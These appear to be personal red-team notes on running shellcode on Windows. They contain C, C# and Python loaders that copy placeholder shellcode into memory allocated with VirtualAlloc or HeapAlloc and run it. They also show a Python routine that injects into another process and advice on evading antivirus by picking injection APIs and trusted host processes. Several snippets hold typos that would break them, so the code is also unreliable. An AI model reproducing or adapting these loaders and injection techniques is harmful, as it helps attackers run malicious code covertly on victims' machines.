Win32 API

Use QueueUserApc instead of CreateRemoteThread

try avoid:

  • CreateRemoteThread

  • SetThreadContect

  • RtlCreateUserThread

VirtualAlloc:

C#:

#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
    LPVOID lpvAddr;
    HANDLE hHand;
    DWORD dwWaitResult;
    DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";

lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}

Python:

RWX:

import ctypes 
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x20),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))

RX:

import ctypes 
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x10),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
  • ctypes = WinAPI interaction

  • VirtualAlloc = memory allocation

  • VirtualProtect =

HeapCreate/ HeapAlloc:

could work for AV evasion, but has to run as RWX

using system;
using System.Net;
using System.Net.Sockets;
using System.Runting.InteropServices;
using System.Threading;

namespace slksdf 
{
    class ajksnlksdf
    {
        [DllImport("Kernel32")] 
        private static extern UInt32 HeapCreate(UInt32 HeapCreate1,UInt32 HeapCreate2, UInt32 HeapCreate3);
        
        [DllImport("Kernel32")] 
        private static extern UInt32 HeapAlloc(UInt32 HeapAlloc1, UInt32 HeapAlloc2, UInt32 HeapAlloc3);
        
        [DllImport("Kernel32")] 
        private static extern UInt32 RtlMoveMemory(UInt32 RtlMoveMemory1, byte[] RtlMoveMemoryByte, UInt32 RtlMoveMemory3);
        
        [DllImport("Kernel32")] 
        private static extern IntPtr CreateThread(UInt32 CreateThread1,UInt32 CreateThread2, UInt32 CreateThread3, IntPtr CreateThread4, UInt32 CreateThread5, ref UInt32 CreateThread6);
        
        [DllImport("Kernel32")] 
        private static extern IntPtr WaitForSingleObject(IntPtr WaitForSingleObject1, UInt32 WaitForSingleObject2);
        
        static void main() 
        {
            byte[] BYTE = { SHELLCODE };
            UInt32 CreateHeap = HeapCreate(0x00040000, (UInt32)BYTE.Length, 0);
            UInt32 AllocHeap = HeapAlloc(CreateHeap, 0x00000008, (UInt32)BYTE.Length);            
            RtlMoveMemory(HeapAlloc, BYTE, (UInt32)Byte.Length);
            UInt32 Zero = 0;
            IntPtr ThreadCreate = CreateThread(0, 0, AllocHeap, IntPtr.Zero, 0, ref Zero);
            WaitForSingleObject(ThreadCreate, 0xFFFFFFF);
        }
    }
}

Python:

import ctypes 
shellcode = b'SHELLCODE'
HeapCreateOutput = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(shellcode)*2),ctypes.c_int(0))
HeapAllocOutput = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(HeapCreateOutput),ctypes.c_int(0x00000008),ctypes.c_int(len(shellcode)))
ShellCodeBuffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(HeapAllocOutput),ShellCodeBuffer,ctypes.c_int(len(shellcode)))
CreateThreadOutput = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(HeapAllocOutput),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CreateThreadOutput),ctypes.c_int(-1))

ProcessInjection/ VirtualAllocEx:

expects a handle to a process - great for shellcode injecting into process, imports as follows:

VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, *lpNumberOfBytesWritten)
CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId)
VirtualProtectEx()

try run against something in userland i.e:

  • JuSched

  • PrintSpoolService

  • OneDrive/Dropbox

  • Service that is allowed for outbound connection

Python:

import ctypes
hex1 = 0x40
hex2 = 0x1F0FFF
hex3 = 0x00001000
kernel32_import = ctypes.windll.kerner32
shellcode = b"SHELLCODE"
process_numer = 309
shellcode_length = len(shellcode)
OpenProcess_handle = kernel32_import.OpenProcess(hex2, False, process_numer)
VirtualAllocEx_handle = kernel32_import.VirualAllocEx(OpenProcess_handle, 0, shellcode_length, hex3, hex1)
kernel32_import.WriteProcessMemory(OpenProcess_handle, VirtualAllocEx_handle, shellcode, shellcode_length, 0)
kernel32_import.CreateRemoteThread(OpenProcess_handle, None, 0, VirtualAllocEx_handle, 0, 0, 0)

QUserAPC? - Execute code that you inject into remote process - way more used that CreateRemotethread

Ordinal Values:

API Call
Windows 7
Windows 10
Windows 11

Kernel32.dll (system32)

Kernel32.dll (system32)

Kernel32.dll (system32)

VirtualAlloc

1279

1520

VirtualAllocEx

1521

CreateThread

182

263

CreateRemoteThread

251

RtlMoveMemory

1059

1269

WaitForSingleObject

1295

1537

WaitForSingleObjectEx

1538

VirtualLock

1284

1525

QueueUserApc

1145

Last updated